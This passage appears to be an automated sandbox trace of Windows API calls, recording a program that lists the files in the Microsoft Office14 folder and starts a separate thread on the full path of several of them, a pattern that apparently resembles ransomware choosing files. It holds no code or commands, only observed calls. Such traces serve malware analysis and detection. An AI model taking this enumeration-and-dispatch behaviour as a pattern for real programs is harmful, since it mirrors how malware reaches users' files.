lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef96c00, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaef96c00, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0x24748, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSGEN.DLL", cAlternateFileName="")) returned 1 [0163.556] wcscmp (_String1="SSGEN.DLL", _String2=".") returned 1 [0163.556] wcscmp (_String1="SSGEN.DLL", _String2="..") returned 1 [0163.556] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0163.556] wcscmp (_String1="STARTUP", _String2=".") returned 1 [0163.556] wcscmp (_String1="STARTUP", _String2="..") returned 1 [0163.556] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f11a8 [0163.556] wcscpy (in: _Dest=0x8f11a8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0163.556] wcscat (in: _Dest=0x8f11a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0163.556] wcscat (in: _Dest=0x8f11a8, _Source="STARTUP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP") returned="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" [0163.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f11a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11cc [0163.558] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0163.558] wcscmp (_String1="STSLIST.DLL", _String2=".") returned 1 [0163.558] wcscmp (_String1="STSLIST.DLL", _String2="..") returned 1 [0163.558] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67a67e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x20588, dwReserved0=0x0, dwReserved1=0x0, cFileName="STYLEMGR.DLL", cAlternateFileName="")) returned 1 [0163.558] wcscmp (_String1="STYLEMGR.DLL", _String2=".") returned 1 [0163.558] wcscmp (_String1="STYLEMGR.DLL", _String2="..") returned 1 [0163.558] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12ca3000, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x694b6370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12ca3000, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x15f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="subscription.xsd", cAlternateFileName="SUBSCR~1.XSD")) returned 1 [0163.558] wcscmp (_String1="subscription.xsd", _String2=".") returned 1 [0163.558] wcscmp (_String1="subscription.xsd", _String2="..") returned 1 [0163.558] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x99dc08 [0163.558] wcscpy (in: _Dest=0x99dc08, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0163.558] wcscat (in: _Dest=0x99dc08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0163.558] wcscat (in: _Dest=0x99dc08, _Source="subscription.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd" [0163.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99dc08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0 [0163.559] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67f2aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xef98, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMINFO.DLL", cAlternateFileName="")) returned 1 [0164.423] wcscmp (_String1="SUMINFO.DLL", _String2=".") returned 1 [0164.423] wcscmp (_String1="SUMINFO.DLL", _String2="..") returned 1 [0164.423] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f200, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a54f200, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d360, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaxonomyControl.dll", cAlternateFileName="TAXONO~1.DLL")) returned 1 [0164.423] wcscmp (_String1="TaxonomyControl.dll", _String2=".") returned 1 [0164.423] wcscmp (_String1="TaxonomyControl.dll", _String2="..") returned 1 [0164.423] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb7df00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x5ad5e950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb7df00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x46c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="THOCR.PSP", cAlternateFileName="")) returned 1 [0164.423] wcscmp (_String1="THOCR.PSP", _String2=".") returned 1 [0164.423] wcscmp (_String1="THOCR.PSP", _String2="..") returned 1 [0164.423] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c3c8 [0164.423] wcscpy (in: _Dest=0x93c3c8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0164.423] wcscat (in: _Dest=0x93c3c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0164.423] wcscat (in: _Dest=0x93c3c8, _Source="THOCR.PSP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP") returned="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP" [0165.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1874 [0165.565] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cb00, ftCreationTime.dwHighDateTime=0x1cb6fff, ftLastAccessTime.dwLowDateTime=0xe33c4660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x156cb00, ftLastWriteTime.dwHighDateTime=0x1cb6fff, nFileSizeHigh=0x0, nFileSizeLow=0x8958, dwReserved0=0x0, dwReserved1=0x0, cFileName="THOCRAPI.DLL", cAlternateFileName="")) returned 1 [0165.565] wcscmp (_String1="THOCRAPI.DLL", _String2=".") returned 1 [0165.565] wcscmp (_String1="THOCRAPI.DLL", _String2="..") returned 1 [0165.565] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0b43200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x195780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIMESOLN.DLL", cAlternateFileName="")) returned 1 [0165.565] wcscmp (_String1="TIMESOLN.DLL", _String2=".") returned 1 [0165.565] wcscmp (_String1="TIMESOLN.DLL", _String2="..") returned 1 [0165.565] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67f2aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14380, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLIMPT.EXE", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="TLIMPT.EXE", _String2=".") returned 1 [0165.566] wcscmp (_String1="TLIMPT.EXE", _String2="..") returned 1 [0165.566] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cb00, ftCreationTime.dwHighDateTime=0x1cb6fff, ftLastAccessTime.dwLowDateTime=0xe3410920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x156cb00, ftLastWriteTime.dwHighDateTime=0x1cb6fff, nFileSizeHigh=0x0, nFileSizeLow=0x28b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWCUTCHR.DLL", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="TWCUTCHR.DLL", _String2=".") returned 1 [0165.566] wcscmp (_String1="TWCUTCHR.DLL", _String2="..") returned 1 [0165.566] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1cd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWCUTLIN.DLL", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="TWCUTLIN.DLL", _String2=".") returned 1 [0165.566] wcscmp (_String1="TWCUTLIN.DLL", _String2="..") returned 1 [0165.566] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x12378, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWLAY32.DLL", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="TWLAY32.DLL", _String2=".") returned 1 [0165.566] wcscmp (_String1="TWLAY32.DLL", _String2="..") returned 1 [0165.566] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x6d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWORIENT.DLL", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="TWORIENT.DLL", _String2=".") returned 1 [0165.566] wcscmp (_String1="TWORIENT.DLL", _String2="..") returned 1 [0165.566] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWRECC.DLL", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="TWRECC.DLL", _String2=".") returned 1 [0165.566] wcscmp (_String1="TWRECC.DLL", _String2="..") returned 1 [0165.566] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xf180, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWRECE.DLL", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="TWRECE.DLL", _String2=".") returned 1 [0165.566] wcscmp (_String1="TWRECE.DLL", _String2="..") returned 1 [0165.566] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aedb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWRECS.DLL", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="TWRECS.DLL", _String2=".") returned 1 [0165.566] wcscmp (_String1="TWRECS.DLL", _String2="..") returned 1 [0165.566] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aedb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1e798, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWSTRUCT.DLL", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="TWSTRUCT.DLL", _String2=".") returned 1 [0165.566] wcscmp (_String1="TWSTRUCT.DLL", _String2="..") returned 1 [0165.566] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0c4dba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x273970, dwReserved0=0x0, dwReserved1=0x0, cFileName="UML.DLL", cAlternateFileName="")) returned 1 [0165.566] wcscmp (_String1="UML.DLL", _String2=".") returned 1 [0165.566] wcscmp (_String1="UML.DLL", _String2="..") returned 1 [0165.567] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84ee8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xc5750, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLSYS.DLL", cAlternateFileName="")) returned 1 [0165.567] wcscmp (_String1="UMLSYS.DLL", _String2=".") returned 1 [0165.567] wcscmp (_String1="UMLSYS.DLL", _String2="..") returned 1 [0165.567] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5b8400, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xdd86ba20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3f5b8400, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xa8390, dwReserved0=0x0, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0165.567] wcscmp (_String1="URLREDIR.DLL", _String2=".") returned 1 [0165.567] wcscmp (_String1="URLREDIR.DLL", _String2="..") returned 1 [0165.567] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6b388e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1f570, dwReserved0=0x0, dwReserved1=0x0, cFileName="VAOSOLX.DLL", cAlternateFileName="")) returned 1 [0165.567] wcscmp (_String1="VAOSOLX.DLL", _String2=".") returned 1 [0165.567] wcscmp (_String1="VAOSOLX.DLL", _String2="..") returned 1 [0165.567] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x22dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ0007.TLL", cAlternateFileName="")) returned 1 [0165.567] wcscmp (_String1="VBLZ0007.TLL", _String2=".") returned 1 [0165.567] wcscmp (_String1="VBLZ0007.TLL", _String2="..") returned 1 [0165.567] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c260 [0165.567] wcscpy (in: _Dest=0x93c260, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.567] wcscat (in: _Dest=0x93c260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.567] wcscat (in: _Dest=0x93c260, _Source="VBLZ0007.TLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL" [0165.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0165.574] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1f1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ0009.TLL", cAlternateFileName="")) returned 1 [0165.574] wcscmp (_String1="VBLZ0009.TLL", _String2=".") returned 1 [0165.574] wcscmp (_String1="VBLZ0009.TLL", _String2="..") returned 1 [0165.574] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c878 [0165.574] wcscpy (in: _Dest=0x93c878, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.574] wcscat (in: _Dest=0x93c878, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.574] wcscat (in: _Dest=0x93c878, _Source="VBLZ0009.TLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL" [0165.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0 [0165.581] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x29bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ000C.TLL", cAlternateFileName="")) returned 1 [0165.581] wcscmp (_String1="VBLZ000C.TLL", _String2=".") returned 1 [0165.581] wcscmp (_String1="VBLZ000C.TLL", _String2="..") returned 1 [0165.581] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c710 [0165.581] wcscpy (in: _Dest=0x93c710, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.581] wcscat (in: _Dest=0x93c710, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.581] wcscat (in: _Dest=0x93c710, _Source="VBLZ000C.TLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL" [0165.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0165.583] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ0011.TLL", cAlternateFileName="")) returned 1 [0165.583] wcscmp (_String1="VBLZ0011.TLL", _String2=".") returned 1 [0165.583] wcscmp (_String1="VBLZ0011.TLL", _String2="..") returned 1 [0165.583] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c2d8 [0165.583] wcscpy (in: _Dest=0x93c2d8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.583] wcscat (in: _Dest=0x93c2d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.583] wcscat (in: _Dest=0x93c2d8, _Source="VBLZ0011.TLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL" [0165.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8 [0165.590] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ef0600, ftCreationTime.dwHighDateTime=0x1c44478, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0ef0600, ftLastWriteTime.dwHighDateTime=0x1c44478, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBS2EXCL.XSL", cAlternateFileName="")) returned 1 [0165.590] wcscmp (_String1="VBS2EXCL.XSL", _String2=".") returned 1 [0165.590] wcscmp (_String1="VBS2EXCL.XSL", _String2="..") returned 1 [0165.590] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c008 [0165.590] wcscpy (in: _Dest=0x93c008, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.590] wcscat (in: _Dest=0x93c008, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.591] wcscat (in: _Dest=0x93c008, _Source="VBS2EXCL.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL" [0165.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc [0165.592] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 